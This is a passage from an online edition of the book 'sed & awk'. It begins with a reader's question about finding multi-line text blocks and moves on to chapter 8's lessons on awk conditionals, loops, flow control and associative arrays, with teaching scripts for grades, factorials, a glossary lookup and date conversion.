wait for the Nutshell Perl Book, I figured I'd tap the knowledge of this
group.

Basically, we have several files which have the format:

item	info line 1
    info line 2
      .
      .
      .
    info line n

Where each info line refers to the item and is indented by either
spaces or tabs.  Each item "block" is separated by a blank line.

What I need to do, is to be able to type:

info glitch filename

Where info is the name of the perl script, glitch is what I want to
find out about, and filename is the name of the file with the
information in it.  The catch is that I need it to print the entire
"block" if it finds glitch anywhere in the file, i.e.:

machine		Sun 3/75
        8 meg memory
        Prone to memory glitches
        more info
        more info

would get printed if you looked for "glitch" along with any other
"blocks" which contained the word glitch.

Currently we are using the following script:

#!/bin/csh -f
#
sed '/^ /\!s/^/@/' $2 | tr '\012@' '@\012' | fgrep -i $1 | tr '@' '\012'

Which is in a word....SLOW.

I am sure Perl can do it faster, better, etc...but I cannot figure it out.

Any, and all, help is greatly appreciated.

Thanks in advance,
Emmett

-------------------------------------------------------------------
Emmett Hogan              Computer Science Lab, SRI International

The problem yielded a solution based on awk. You may want to try to tackle the problem yourself before reading any further. The solution relies on awk's multiline record capability and requires that you be able to pass the search string as a command-line parameter.

Here's the info script using awk:

awk 'BEGIN { FS = "\n"; RS = "" }
$0 ~ search { print $0 }' search=$1 $2

Given a test file with multiple entries, info was tested to see if it could find the word "glitch."

$ info glitch glitch.test
machine		Sun 3/75
        8 meg memory
        Prone to memory glitches
        more info
        more info

In the next chapter, we look at conditional and looping constructs, and arrays.

Previous: 7.10 Passing Parameters Into a Script | sed & awk | Next: 8. Conditionals, Loops, and Arrays
7.10 Passing Parameters Into a Script | Book Index | 8. Conditionals, Loops, and Arrays
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] Conditionals, Loops, and Arrays

sed & awk

sed & awkSearch this book
Previous: 7.11 Information Retrieval Chapter 8 Next: 8.2 Looping

8. Conditionals, Loops, and Arrays

Contents:
Conditional Statements
Looping
Other Statements That Affect Flow Control
Arrays
An Acronym Processor
System Variables That Are Arrays

This chapter covers some fundamental programming constructs. It covers all the control statements in the awk programming language. It also covers arrays, variables that allow you to store a series of values. If this is your first exposure to such constructs, you'll recognize that even sed provided conditional and looping capabilities. In awk, these capabilities are much more generalized and the syntax is much easier to use. In fact, the syntax of awk's conditional and looping constructs is borrowed from the C programming language. Thus, by learning awk and the constructs in this chapter, you are also on the way to learning the C language.

8.1 Conditional Statements

A conditional statement allows you to make a test before performing an action. In the previous chapter, we saw examples of pattern matching rules that were essentially conditional expressions affecting the main input loop. In this section, we look at conditional statements used primarily within actions.

A conditional statement is introduced by if and evaluates an expression placed in parentheses. The syntax is:

if ( expression )
action1
[else
action2]

If expression evaluates as true (non-zero or non-empty), action1 is performed. When an else clause is specified, action2 is performed if expression evaluates to false (zero or empty). An expression might contain the arithmetic, relational, or Boolean operators discussed in Chapter 7, Writing Scripts for awk.

Perhaps the simplest conditional expression that you could write is one that tests whether a variable contains a non-zero value.

if ( x ) print x

If x is zero, the print statement will not be executed. If x has a non-zero value, that value will be printed. You can also test whether x equals another value:

if ( x == y ) print x

Remember that "==" is a relational operator and "=" is an assignment operator. We can also test whether x matches a pattern using the pattern-matching operator "~":

if ( x ~ /[yY](es)?/ ) print x

Here are a few additional syntactical points:

  • If any action consists of more than one statement, the action is enclosed within a pair of braces.

    if ( expression ) {
    statement1
    statement2
    }

    Awk is not very particular about the placement of braces and statements (unlike sed). The opening brace is placed after the conditional expression, either on the same line or on the next line. The first statement can follow the opening brace or be placed on the line following it. The closing brace is put after the last statement, either on the same line or after it. Spaces or tabs are allowed before or after the braces. The indentation of statements is not required but is recommended to improve readability.

  • A newline is optional after the close parenthesis, and after else.

    if ( expression ) action1
    [else action2]

  • A newline is also optional after action1, providing that a semicolon ends action1.

    if ( expression ) action1; [else action2]

  • You cannot avoid using braces by using semicolons to separate multiple statements on a single line.

In the previous chapter, we saw a script that averaged student grades. We could use a conditional statement to tell us whether the student passed or failed.

Presuming that an average of 65 or above is a passing grade, we could write the following conditional:

if ( avg >= 65 )
    grade = "Pass"
else
    grade = "Fail"

The value assigned to grade depends upon whether the expression "avg >= 65" evaluates to true or false.

Multiple conditional statements can be used to test whether one of several possible conditions is true. For example, perhaps the students are given a letter grade instead of a pass-fail mark. Here's a conditional that assigns a letter grade based on a student's average:

if (avg >= 90)  grade = "A"
else if (avg >= 80) grade = "B"
else if (avg >= 70) grade = "C"
else if (avg >= 60) grade = "D"
else grade = "F"

The important thing to recognize is that successive conditionals like this are evaluated until one of them returns true; once that occurs, the rest of the conditionals are skipped. If none of the conditional expressions evaluates to true, the last else is accepted, constituting the default action; in this case, it assigns "F" to grade.

8.1.1 Conditional Operator

Awk provides a conditional operator that is found in the C programming language. Its form is:

expr ? action1 : action2

The previous simple if/else condition can be written using a conditional operator:

grade = (avg >= 65) ? "Pass" : "Fail"

This form has the advantage of brevity and is appropriate for simple conditionals such as the one shown here. While the ?: operator can be nested, doing so leads to programs that quickly become unreadable. For clarity, we recommend parenthesizing the conditional, as shown above.

Previous: 7.11 Information Retrieval | sed & awk | Next: 8.2 Looping
7.11 Information Retrieval | Book Index | 8.2 Looping
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.2 Looping

sed & awk

sed & awkSearch this book
Previous: 8.1 Conditional Statements Chapter 8
Conditionals, Loops, and Arrays 		Next: 8.3 Other Statements That Affect Flow Control

8.2 Looping

A loop is a construct that allows us to perform one or more actions again and again. In awk, a loop can be specified using a while, do, or for statement.

8.2.1 While Loop

The syntax of a while loop is:

while (condition)
action

The newline is optional after the right parenthesis. The conditional expression is evaluated at the top of the loop and, if true, the action is performed. If the expression is never true, the action is not performed. Typically, the conditional expression evaluates to true and the action changes a value such that the conditional expression eventually returns false and the loop is exited. For instance, if you wanted to perform an action four times, you could write the following loop:

i = 1
while ( i <= 4 ) {
    print $i
    ++i
}

As in an if statement, an action consisting of more than one statement must be enclosed in braces. Note the role of each statement. The first statement assigns an initial value to i. The expression "i <= 4" compares i to 4 to determine if the action should be executed. The action consists of two statements, one that simply prints the value of a field referenced as "$i" and another that increments i. i is a counter variable and is used to keep track of how many times we go through the loop. If we did not increment the counter variable or if the comparison would never evaluate to false (e.g., i > 0), then the action would be repeated without end.

8.2.2 Do Loop

The do loop is a variation of the while loop. The syntax of a do loop is:

do
action
while (condition)

The newline is optional after do. It is also optional after action providing the statement is terminated by a semicolon. The main feature of this loop is that the conditional expression appears after the action. Thus, the action is performed at least once. Look at the following do loop.

BEGIN {
    do {
        ++x
        print x
    } while ( x <= 4 )
}

In this example, the value of x is set in the body of the loop using the auto-increment operator. The body of the loop is executed once and the expression is evaluated. In the previous example of a while loop, the initial value of i was set before the loop. The expression was evaluated first, then the body of the loop was executed once. Note the value of x when we run this example:

$ awk -f do.awk
1
2
3
4
5

Before the conditional expression is first evaluated, x is incremented to 1. (This relies on the fact that all awk variables are initialized to zero.) The body of the loop is executed five times, not four; when x equals 4, the conditional expression is true and the body of the loop is executed again, incrementing x to 5 and printing its value. Only then is the conditional expression evaluated to false and the loop exited. By changing the operator from "<=" to "<", or less than, the body of the loop will be executed four times.

To keep in mind the difference between the do loop and the while loop, remember that the do loop always executes the body of the loop at least once. At the bottom of the procedure, you decide if you need to execute it again.

For an example, let's look at a program that loops through the fields of a record, referencing as many fields as necessary until their cumulative value exceeds 100. The reason we use a do loop is that we will reference at least one of the fields. We add the value of the field to the total, and if the total exceeds 100 we don't reference any other fields. We reference the second field only if the first field is less than 100. Its value is added to the total and if the total exceeds 100 then we exit the loop. If it is still less than 100, we execute the loop once again.

{
    total = i = 0
    do {
        ++i
        total += $i
    } while ( total <= 100 )
    print i, ":", total
}

The first line of the script initializes the values of two variables: total and i. The loop increments the value of i and uses the field operator to reference a particular field. Each time through the loop, it refers to a different field. When the loop is executed for the first time, the field reference gets the value of field one and assigns it to the variable total. The conditional expression at the end of the loop evaluates whether total exceeds 100. If it does, the loop is exited. Then the value of i, the number of fields that we've referred to, and the total are printed. (This script assumes that each record totals at least 100; otherwise, we'd have to check that i does not exceed the number of fields for the record. We construct such a test in the example presented in next section to show the for loop.)

Here's a test file containing a series of numbers:

$ cat test.do
45 25 60 20
10 105 50 40
33 5 9 67
108 3 5 4

Running the script on the test file produces the following:

$ awk -f do.awk test.do
3 : 130
2 : 115
4 : 114
1 : 108

For each record, only as many fields are referenced as needed for the total to exceed 100.

8.2.3 For Loop

The for statement offers a more compact syntax that achieves the same result as a while loop. Although it looks more difficult, this syntax is much easier to use and makes sure that you provide all the required elements of a loop. The syntax of a for loop is:

for ( set_counter ; test_counter ; increment_counter )
action

The newline after the right parenthesis is optional. The for loop consists of three expressions:

set_counter

Sets the initial value for a counter variable.

test_counter

States a condition that is tested at the top of the loop.

increment_counter

Increments the counter each time at the bottom of the loop, right before testing the test_counter again.

Look at this rather common for loop that prints each field on the input line.

for ( i = 1; i <= NF; i++ )
    print $i

As in the previous example, i is a variable that is used to reference a field using the field operator. The system variable NF contains the number of fields for the current input record, and we test it to determine if i has reached the last field on the line. The value of NF is the maximum number of times to go through the loop. Inside the loop, the print statement is executed, printing each field on its own line. A script using this construct can print each word on a line by itself, which can then be run through sort | uniq -c to get word distribution statistics for a file.

You can also write a loop to print from the last field to the first.

for ( i = NF; i >= 1; i-- )
    print $i

Each time through the loop the counter is decremented. You could use this to reverse the order of fields.

The grades.awk script that we showed earlier determined the average of five grades. We can make the script much more useful by averaging any number of grades. That is, if you were to run this script throughout the school year, the number of grades to average would increase. Rather than revising the script to accommodate the specific number of fields, we can write a generalized script that loops to read however many fields there are. Our earlier version of the program calculated the average of 5 grades using these two statements:

total = $2 + $3 + $4 + $5 + $6
avg = total / 5

We can revise that using a for loop to sum each field in the record.

total = 0
for (i = 2; i <= NF; ++i)
      total += $i
avg = total / (NF - 1)

We initialize the variable total each time because we don't want its value to accumulate from one record to the next. At the beginning of the for loop, the counter i is initialized to 2 because the first numeric field is field 2. Each time through the loop the value of the current field is added to total. When the last field has been referenced (i is greater than NF), we break out of the loop and calculate the average. For instance, if the record consists of 4 fields, the first time through the loop, we assign the value of $2 to total. At the bottom of the loop, i is incremented by 1, then compared to NF, which is 4. The expression evaluates to true and total is incremented by the value of $3.

Notice how we divide the total by the number of fields minus 1 to remove the student name from the count. The parentheses are required around "NF - 1" because the precedence of operators would otherwise divide total by NF and then subtract 1, instead of subtracting 1 from NF first.

8.2.4 Deriving Factorials

The factorial of a number is the product of successively multiplying that number by one less than that number. The factorial of 4 is 4 × 3 × 2 × 1, or 24. The factorial of 5 is 5 times the factorial of 4 or 5 × 24, or 120. Deriving a factorial for a given number can be expressed using a loop as follows:

fact = number
for (x = number - 1 ; x > 1; x--)
    fact *= x

where number is the number for which we will derive the factorial fact. Let's say that number equals 5. The first time through the loop x is equal to 4. The action evaluates "5 * 4" and assigns the value to fact. The next time through the loop, x is 3 and 20 is multiplied by it. We go through the loop until x equals 1.

Here is the above fragment incorporated into a standalone script that prompts the user for a number and then prints the factorial of that number.

awk '# factorial: return factorial of user-supplied number
BEGIN {
    # prompt user; use printf, not print, to avoid the newline
    printf("Enter number: ")
}

# check that user enters a number
$1 ~ /^[0-9]+$/ {
    # assign value of $1 to number & fact
    number = $1
    if (number == 0)
        fact = 1
    else
        fact = number
    # loop to multiply fact*x until x = 1
    for (x = number - 1; x > 1; x--)
        fact *= x
    printf("The factorial of %d is %g\n", number, fact)
    # exit -- saves user from typing CRTL-D.
    exit
}

# if not a number, prompt again.
{ printf("\nInvalid entry. Enter a number: ")
}' -

This is an interesting example of a main input loop that prompts for input and reads the reply from standard input. The BEGIN rule is used to prompt the user to enter a number. Because we have specified that input is to come not from a file but from standard input, the program will halt after putting out the prompt and then wait for the user to type a number. The first rule checks that a number has been entered. If not, the second rule will be applied, prompting the user again to re-enter a number. We set up an input loop that will continue to read from standard input until a valid entry is found. See the lookup program in the next section for another example of constructing an input loop.

Here's an example of how the factorial program works:

$ factorial
Enter number: 5
The factorial of 5 is 120

Note that the result uses "%g" as the conversion specification format in the printf statement. This permits floating point notation to be used to express very large numbers. Look at the following example:

$ factorial
Enter number: 33
The factorial of 33 is 8.68332e+36

Previous: 8.1 Conditional Statements | sed & awk | Next: 8.3 Other Statements That Affect Flow Control
8.1 Conditional Statements | Book Index | 8.3 Other Statements That Affect Flow Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.3 Other Statements That Affect Flow Control

sed & awk

sed & awkSearch this book
Previous: 8.2 Looping Chapter 8
Conditionals, Loops, and Arrays 		Next: 8.4 Arrays

8.3 Other Statements That Affect Flow Control

The if, while, for, and do statements allow you to change the normal flow through a procedure. In this section, we look at several other statements that also affect a change in flow control.

There are two statements that affect the flow control of a loop, break and continue. The break statement, as you'd expect, breaks out of the loop, such that no more iterations of the loop are performed. The continue statement stops the current iteration before reaching the bottom of the loop and starts a new iteration at the top.

Consider what happens in the following program fragment:

for ( x = 1; x <= NF; ++x )
    if ( y == $x ) {
        print x, $x
        break
    }
print

A loop is set up to examine each field of the current input record. Each time through the loop, the value of y is compared to the value of a field referenced as $x. If the result is true, we print the field number and its value and then break from the loop. The next statement to be executed is print. The use of break means that we are interested only in the first match on a line and that we don't want to loop through the rest of the fields.

Here's a similar example using the continue statement:

for ( x = 1; x <= NF; ++x ) {
    if ( x == 3 )
        continue
    print x, $x
}

This example loops through the fields of the current input record, printing the field number and its value. However (for some reason), we want to avoid printing the third field. The conditional statement tests the counter variable and if it is equal to 3, the continue statement is executed. The continue statement passes control back to the top of the loop where the counter variable is incremented again. It avoids executing the print statement for that iteration. The same result could be achieved by simply re-writing the conditional to execute print as long as x is not equal to 3. The point is that you can use the continue statement to avoid hitting the bottom of the loop on a particular iteration.

There are two statements that affect the main input loop, next and exit. The next statement causes the next line of input to be read and then resumes execution at the top of the script.[1] This allows you to avoid applying other procedures on the current input line. A typical use of the next statement is to continue reading input from a file, ignoring the other actions in the script until that file is exhausted. The system variable FILENAME provides the name of the current input file. Thus, a pattern can be written:

[1] Some awks don't allow you to use next from within a user-defined function; Caveat emptor.

FILENAME == "acronyms" {
    action
    next
}
{ print }

This causes the action to be performed for each line in the file acronyms. After the action is performed, the next line of input is read. Control does not pass to the print statement until the input is taken from a different source.

The exit statement exits the main input loop and passes control to the END rule, if there is one. If the END rule is not defined, or the exit statement is used in the END rule, then the script terminates. We used the exit statement earlier in the factorial program to exit after reading one line of input.

An exit statement can take an expression as an argument. The value of this expression will be returned as the exit status of awk. If the expression is not supplied, the exit status is 0. If you supply a value to an initial exit statement, and then call exit again from the END rule without a value, the first value is used. For example:

awk '{
    ...
    exit 5
}
END { exit }'

Here, the exit status from awk will be 5.

You will come across examples that use these flow-control statements in upcoming sections.

Previous: 8.2 Looping | sed & awk | Next: 8.4 Arrays
8.2 Looping | Book Index | 8.4 Arrays
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.4 Arrays

sed & awk

sed & awkSearch this book
Previous: 8.3 Other Statements That Affect Flow Control Chapter 8
Conditionals, Loops, and Arrays 		Next: 8.5 An Acronym Processor

8.4 Arrays

An array is a variable that can be used to store a set of values. Usually the values are related in some way. Individual elements are accessed by their index in the array. Each index is enclosed in square brackets. The following statement assigns a value to an element of an array:

array[subscript] = value

In awk, you don't have to declare the size of the array; you only have to use the identifier as an array. This is best done by assigning a value to an array element. For instance, the following example assigns the string "cherry" to an element of the array named flavor.

flavor[1] = "cherry"

The index or subscript of this element of the array is "1". The following statement prints the string "cherry":

print flavor[1]

Loops can be used to load and extract elements from arrays. For instance, if the array flavor has five elements, you can write a loop to print each element:

flavor_count = 5
for (x = 1; x <= flavor_count; ++x)
    print flavor[x]

One way that arrays are used in awk is to store a value from each record, using the record number as the index to the array. Let's suppose we wanted to keep track of the averages calculated for each student and come up with a class average. Each time a record is read we make the following assignment.

student_avg[NR] = avg

The system variable NR is used as the subscript for the array because it is incremented for each record. When the first record is read, the value of avg is placed in student_avg[1]; for the second record, the value is placed in student_avg[2], and so on. After we have read all of the records, we have a list of averages in the array student_avg. In an END rule, we can average all of these grades by writing a loop to get the total of the grades and then dividing it by the value of NR. Then we can compare each student average to the class average to collect totals for the number of students at or above average and the number below.

END {
    for ( x = 1; x <= NR; x++ )
        class_avg_total += student_avg[x]

    class_average = class_avg_total / NR

    for ( x = 1; x <= NR; x++ )
        if (student_avg[x] >= class_average)
            ++above_average
        else
            ++below_average

    print "Class Average: ", class_average
    print "At or Above Average: ", above_average
    print "Below Average: ", below_average
}

There are two for loops for accessing the elements of the array. The first one totals the averages so that it can be divided by the number of student records. The next loop retrieves each student average so that it can be compared to the class average. If it is at or above average, we increment the variable above_average; otherwise, we increment below_average.

8.4.1 Associative Arrays

In awk, all arrays are associative arrays. What makes an associative array unique is that its index can be a string or a number.

In most programming languages, the indices of arrays are exclusively numeric. In these implementations, an array is a sequence of locations where values are stored. The indices of the array are derived from the order in which the values are stored. There is no need to keep track of indices. For instance, the index of the first element of an array is "1" or the first location in the array.

An associative array makes an "association" between the indices and the elements of an array. For each element of the array, a pair of values is maintained: the index of the element and the value of the element. The elements are not stored in any particular order as in a conventional array. Thus, even though you can use numeric subscripts in awk, the numbers do not have the same meaning that they do in other programming languages - they do not necessarily refer to sequential locations. However, with numeric indices, you can still access all the elements of an array in sequence, as we did in previous examples. You can create a loop to increment a counter that references the elements of the array in order.

Sometimes, the distinction between numeric and string indices is important. For instance, if you use "04" as the index to an element of the array, you cannot reference that element using "4" as its subscript. You'll see how to handle this problem in a sample program date-month, shown later in this chapter.

Associative arrays are a distinctive feature of awk, and a very powerful one that allows you to use a string as an index to another value. For instance, you could use a word as the index to its definition. If you know the word, you can retrieve the definition.

For example, you could use the first field of the input line as the index to the second field with the following assignment:

array[$1] = $2

Using this technique, we could take our list of acronyms and load it into an array named acro.

acro[$1] = $2

Each element of the array would be the description of an acronym and the subscript used to retrieve the element would be the acronym itself. The following expression:

acro["BASIC"]

produces:

Beginner's All-Purpose Symbolic Instruction Code

There is a special looping syntax for accessing all the elements of an associative array. It is a version of the for loop.

for ( variable in array )
do something with array[variable]

The array is the name of an array, as it was defined. The variable is any variable, which you can think of as a temporary variable similar to a counter that is incremented in a conventional for loop. This variable is set to a particular subscript each time through the loop. (Because variable is an arbitrary name, you often see item used, regardless of what variable name was used for the subscript when the array was loaded.) For example, the following for loop prints the name of the acronym item and the definition referenced by that name, acro[item].

for ( item in acro )
    print item, acro[item]

In this example, the print statement prints the current subscript ("BASIC," for instance) followed by the element of the acro array referenced by the subscript ("Beginner's All-Purpose Symbolic Instruction Code").

This syntax can be applied to arrays with numeric subscripts. However, the order in which the items are retrieved is somewhat random.[2] The order is very likely to vary among awk implementations; be careful to write your programs so that they don't depend on any one version of awk.

[2] The technical term used in The AWK Programming Language is "implementation dependent."

It is important to remember that all array indices in awk are strings. Even when you use a number as an index, awk automatically converts it to a string first. You don't have to worry about this when you use integer indices, since they get converted to strings as integers, no matter what the value may be of OFMT (original awk and earlier versions of new awk) or CONVFMT (POSIX awk). But if you use a real number as an index, the number to string conversion might affect you. For instance:

$ gawk 'BEGIN { data[1.23] = "3.21"; CONVFMT = "%d"
> printf "<%s>\n", data[1.23] }'
<>

Here, nothing was printed between the angle brackets, since the second time, 1.23 was converted to just 1, and data["1"] has the empty string as its value.

NOTE: Not all implementations of awk get the number to string conversion right when CONVFMT has changed between one use of a number and the next. Test the above example with your awk to be sure it works correctly.

Now let's return to our student grade program for an example. Let's say that we wanted to report how many students got an "A," how many got a "B," and so on. Once we determine the grade, we could increment a counter for that grade. We could set up individual variables for each letter grade and then test which one to increment.

if ( grade == "A" )
    ++gradeA
else if (grade == "B" )
    ++gradeB
.
.
.

However, an array makes this task much easier. We can define an array called class_grade, and simply use the letter grade (A through F) as the index to the array.

++class_grade[grade]

Thus, if the grade is an "A" then the value of class_grade["A"] is incremented by one. At the end of the program, we can print out these values in the END rule using the special for loop:

for (letter_grade in class_grade)
     print letter_grade ":", class_grade[letter_grade] | "sort"

The variable letter_grade references a single subscript of the array class_grade each time through the loop. The output is piped to sort, to make sure the grades come out in the proper order. (Piping output to programs is discussed in Chapter 10, The Bottom Drawer.) Since this is the last addition we make to the grades.awk script, we can look at the full listing.

# grades.awk -- average student grades and determine
# letter grade as well as class averages.
# $1 = student name; $2 - $NF = test scores.

# set output field separator to tab.
BEGIN { OFS = "\t" }

# action applied to all input lines
{
  # add up grades
    total = 0
    for (i = 2; i <= NF; ++i)
        total += $i
  # calculate average
    avg = total / (NF - 1)
  # assign student's average to element of array
    student_avg[NR] = avg
  # determine letter grade
    if (avg >= 90)  grade = "A"
    else if (avg >= 80) grade = "B"
    else if (avg >= 70) grade = "C"
    else if (avg >= 60) grade = "D"
    else grade = "F"
  # increment counter for letter grade array
    ++class_grade[grade]
  # print student name, average and letter grade
    print $1, avg, grade
}
# print out class statistics
END {
  # calculate class average
    for (x = 1; x <= NR; x++)
        class_avg_total += student_avg[x]
    class_average = class_avg_total / NR
  # determine how many above/below average
    for (x = 1; x <= NR; x++)
        if (student_avg[x] >= class_average)
            ++above_average
        else
            ++below_average
  # print results
    print ""
    print "Class Average: ", class_average
    print "At or Above Average: ", above_average
    print "Below Average: ", below_average
  # print number of students per letter grade
    for (letter_grade in class_grade)
        print letter_grade ":", class_grade[letter_grade] | "sort"
}

Here's a sample run:

$ cat grades.test
mona 70 77 85 83 70 89
john 85 92 78 94 88 91
andrea 89 90 85 94 90 95
jasper 84 88 80 92 84 82
dunce 64 80 60 60 61 62
ellis 90 98 89 96 96 92
$ awk -f grades.awk grades.test
mona    79      C
john    88      B
andrea  90.5    A
jasper  85      B
dunce   64.5    D
ellis   93.5    A

Class Average:  83.4167
At or Above Average:    4
Below Average:  2
A:      2
B:      2
C:      1
D:      1

8.4.2 Testing for Membership in an Array

The keyword in is also an operator that can be used in a conditional expression to test that a subscript is a member of an array. The expression:

item in array

returns 1 if array[item] exists and 0 if it does not. For example, the following conditional statement is true if the string "BASIC" is a subscript of the array acro.

if ( "BASIC" in acro )
    print "Found BASIC"

This is true if "BASIC" is a subscript used to access an element of acro. This syntax cannot tell you whether "BASIC" is the value of an element of acro. This expression is the same as writing a loop to check that such a subscript exists, although the above expression is much easier to write, and much more efficient to execute.

8.4.3 A Glossary Lookup Script

This program reads a series of glossary entries from a file named glossary and puts them into an array. The user is prompted to enter a glossary term and if it is found, the definition of the term is printed.

Here's the lookup program:

awk '# lookup -- reads local glossary file and prompts user for query

#0
BEGIN { FS = "\t"; OFS = "\t"
    # prompt user
    printf("Enter a glossary term: ")
}

#1 read local file named glossary
FILENAME == "glossary" {
    # load each glossary entry into an array
    entry[$1] = $2
    next
}

#2 scan for command to exit program
$0 ~ /^(quit|[qQ]|exit|[Xx])$/ { exit }

#3 process any non-empty line
$0 != "" {
    if ( $0 in entry ) {
        # it is there, print definition
        print entry[$0]
    } else
        print $0 " not found"
}

#4 prompt user again for another term
{
    printf("Enter another glossary term (q to quit): ")
}' glossary -

The pattern-matching rules are numbered to make this discussion easier. As we look at the individual rules, we'll discuss them in the order in which they are encountered in the flow of the script. Rule #0 is the BEGIN rule, which is performed only once before any input is read. It sets FS and OFS to a tab and then prompts the user to enter a glossary item. The response will come from standard input, but that is read after the glossary file.

Rule #1 tests to see if the current filename (the value of FILENAME) is "glossary" and is therefore only applied while reading input from this file. This rule loads the glossary entries into an array:

entry[term] = definition

where $1 is the term and $2 is the definition. The next statement at the end of rule #1 is used to skip other rules in the script and causes a new line of input to be read. So, until all the entries in the glossary file are read, no other rule is evaluated.

Once input from glossary is exhausted, awk reads from standard input because "-" is specified on the command line. Standard input is where the user's response comes from. Rule #3 tests that the input line ($0) is not empty. This rule should match whatever the user types. The action uses in to see if the input line is an index in the array. If it is, it simply prints out the corresponding value. Otherwise, we tell the user that no valid entry was found.

After rule #3, rule #4 will be evaluated. This rule simply prompts the user for another entry. Note that regardless of whether a valid entry was processed in rule #3, rule #4 is executed. The prompt also tells the user how to quit the program. After this rule, awk looks for the next line of input.

If the user chooses to quit by entering "q" as the next line of input, rule #2 will be matched. The pattern looks for a complete line consisting of alternative words or single letters that the user might enter to quit. The "^" and "$" are important, signifying that the input line contains no other characters but these; otherwise a "q" appearing in a glossary entry would be matched. Note that the placement of this rule in the sequence of rules is significant. It must appear before rules #3 and #4 because these rules will match anything, including the words "quit" and "exit."

Let's look at how the program works. For this example, we will make a copy of the acronyms file and use it as the glossary file.

$ cp acronyms glossary
$ lookup
Enter a glossary term: GIGO
Garbage in, garbage out
Enter another glossary term (q to quit): BASIC
Beginner's All-Purpose Symbolic Instruction Code
Enter another glossary term (q to quit): q

As you can see, the program is set up to prompt the user for additional items until the user enters "q".

Note that this program can be easily revised to read a glossary anywhere on the file system, including the user's home directory. The shell script that invokes awk could handle command-line options that allow the user to specify the glossary filename. You could also read a shared glossary file and then read a local one by writing separate rules to process the entries.

8.4.4 Using split() to Create Arrays

The built-in function split() can parse any string into elements of an array. This function can be useful to extract "subfields" from a field. The syntax of the split() function is:

n = split(string, array, separator)

string is the input string to be parsed into elements of the named array. The array's indices start at 1 and go to n, the number of elements in the array. The elements will be split based on the specified separator character. If a separator is not specified, then the field separator (FS) is used. The separator can be a full regular expression, not just a single character. Array splitting behaves identically to field splitting; see the section "Referencing and Separating Fields" in Chapter 7.

For example, if you had a record in which the first field consisted of the person's full name, you could use the split() function to extract the person's first and last names. The following statement breaks up the first field into elements of the array fullname:

z = split($1, fullname, " ")

A space is specified as the delimiter. The person's first name can be referenced as:

fullname[1]

and the person's last name can be referenced as:

fullname[z]

because z contains the number of elements in the array. This works, regardless of whether the person's full name contains a middle name. If z is the value returned by split(), you can write a loop to read all the elements of this array.

z = split($1, array, " ")
for (i = 1; i <= z; ++i)
    print i, array[i]

The next section contains additional examples of using the split() function.

8.4.5 Making Conversions

This section looks at two examples that demonstrate similar methods of converting output from one format to another.

When working on the index program shown in Chapter 12, Full-Featured Applications, we needed a quick way to assign roman numerals to volume numbers. In other words, volume 4 needed to be identified as "IV" in the index. Since there was no immediate prospect of the number of volumes exceeding 10, we wrote a script that took as input a number between 1 and 10 and converted it to a roman numeral.

This shell script takes the first argument from the command line and echoes it as input to the awk program.

echo $1 |
awk '# romanum -- convert number 1-10 to roman numeral

# define numerals as list of roman numerals 1-10
BEGIN {
    # create array named numerals from list of roman numerals
    split("I,II,III,IV,V,VI,VII,VIII,IX,X", numerals, ",")
}

# look for number between 1 and 10
$1 > 0 && $1 <= 10 {
    # print specified element
    print numerals[$1]
    exit
}

{ 	print "invalid number"
      exit
}'

This script defines a list of 10 roman numerals, then uses split() to load them into an array named numerals. This is done in the BEGIN action because it only needs to be done once.

The second rule checks that the first field of the input line contains a number between 1 and 10. If it does, this number is used as the index to the numerals array, retrieving the corresponding element. The exit statement terminates the program. The last rule is executed only if there is no valid entry.

Here's an example of how it works:

$ romanum 4
IV

Following along on the same idea, here's a script that converts dates in the form "mm-dd-yy" or "mm/dd/yy" to "month day, year."

awk '
# date-month -- convert mm/dd/yy or mm-dd-yy to month day, year

# build list of months and put in array.
BEGIN {
    # the 3-step assignment is done for printing in book
    listmonths = "January,February,March,April,May,June,"
    listmonths = listmonths "July,August,September,"
    listmonths = listmonths "October,November,December"
    split(listmonths, month, ",")
}

# check that there is input
$1 != "" {

# split on "/" the first input field into elements of array
    sizeOfArray = split($1, date, "/")

# check that only one field is returned
    if (sizeOfArray == 1)
        # try to split on "-"
        sizeOfArray = split($1, date, "-")

# must be invalid
    if (sizeOfArray == 1)
        exit

# add 0 to number of month to coerce numeric type
    date[1] += 0

# print month day, year
    print month[date[1]], (date[2] ", 19" date[3])
}'

This script reads from standard input. The BEGIN action creates an array named month whose elements are the names of the months of the year. The second rule verifies that we have a non-empty input line. The first statement in the associated action splits the first field of input looking for "/" as the delimiter. sizeOfArray contains the number of elements in the array. If awk was unable to parse the string, it creates the array with only one element. Thus, we can test the value of sizeOfArray to determine if we have several elements. If we do not, we assume that perhaps "-" was used as the delimiter. If that fails to produce an array with multiple elements, we assume the input is invalid, and exit. If we have successfully parsed the input, date[1] contains the number of the month. This value can be used as the index to the array month, nesting one array inside another. However, before using date[1], we coerce the type of date[1] by adding 0 to it. While awk will correctly interpret "11" as a number, leading zeros may cause a number to be treated as a string. Thus, "06" might not be recognized properly without type coercion. The element referenced by date[1] is used as the subscript for month.

Here's a sample run:

$ echo "5/11/55" | date-month
May 11, 1955

8.4.6 Deleting Elements of an Array

Awk provides a statement for deleting an element of an array. The syntax is:

delete array[subscript]

The brackets are required. This statement removes the element indexed by subscript from array. In particular, the in test for subscript will now return false. This is different than just assigning the empty string to that element; in that case in would still be true. See the lotto script in the next chapter for an example of using the delete statement.

Previous: 8.3 Other Statements That Affect Flow Control | sed & awk | Next: 8.5 An Acronym Processor
8.3 Other Statements That Affect Flow Control | Book Index | 8.5 An Acronym Processor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.5 An Acronym Processor

sed & awk

sed & awkSearch this book
Previous: 8.4 Arrays Chapter 8
Conditionals, Loops, and Arrays 		Next: 8.6 System Variables That Are Arrays

8.5 An Acronym Processor

